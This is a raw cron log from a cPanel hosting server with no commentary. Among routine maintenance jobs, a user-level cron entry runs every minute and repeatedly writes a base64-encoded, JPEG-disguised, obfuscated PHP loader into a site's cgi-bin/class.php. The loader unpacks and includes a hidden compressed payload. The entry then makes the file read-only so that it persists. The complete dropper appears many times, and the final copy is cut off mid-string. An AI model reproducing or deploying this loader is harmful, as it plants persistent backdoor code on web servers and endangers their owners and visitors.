Sep  3 17:29:01 server CROND[13493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:29:01 server CROND[13494]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:29:01 server CROND[13496]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:30:01 server CROND[13879]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:30:01 server CROND[13880]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:30:01 server CROND[13881]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:30:01 server CROND[13884]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:30:01 server CROND[13885]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:30:01 server CROND[13887]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:30:01 server CROND[13888]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:30:01 server CROND[13889]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:31:01 server CROND[14712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:31:01 server CROND[14713]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:31:01 server CROND[14714]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:32:01 server CROND[15087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:32:01 server CROND[15088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:32:01 server CROND[15089]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:33:01 server CROND[15461]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:33:01 server CROND[15462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:33:01 server CROND[15463]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:34:01 server CROND[15927]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:34:01 server CROND[15928]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:34:01 server CROND[15929]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:35:01 server CROND[16321]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  3 17:35:01 server CROND[16325]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:35:01 server CROND[16326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:35:01 server CROND[16328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:35:01 server CROND[16324]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:35:01 server CROND[16329]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:35:01 server CROND[16330]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 17:35:01 server CROND[16334]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 17:35:01 server CROND[16331]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:36:01 server CROND[17160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:36:01 server CROND[17159]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:36:01 server CROND[17161]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:37:01 server CROND[17534]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:37:01 server CROND[17535]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:37:01 server CROND[17536]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:38:01 server CROND[17912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:38:01 server CROND[17913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:38:01 server CROND[17914]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:39:01 server CROND[18376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:39:01 server CROND[18375]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:39:01 server CROND[18377]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 17:39:01 server CROND[18378]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 17:40:01 server CROND[18754]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 17:40:01 server CROND[18755]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 17:40:01 server CROND[18760]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 17:40:01 server CROND[18759]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 17:40:01 server CROND[18762]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 17:40:01 server CROND[18765]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 17:40:01 server CROND[18763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9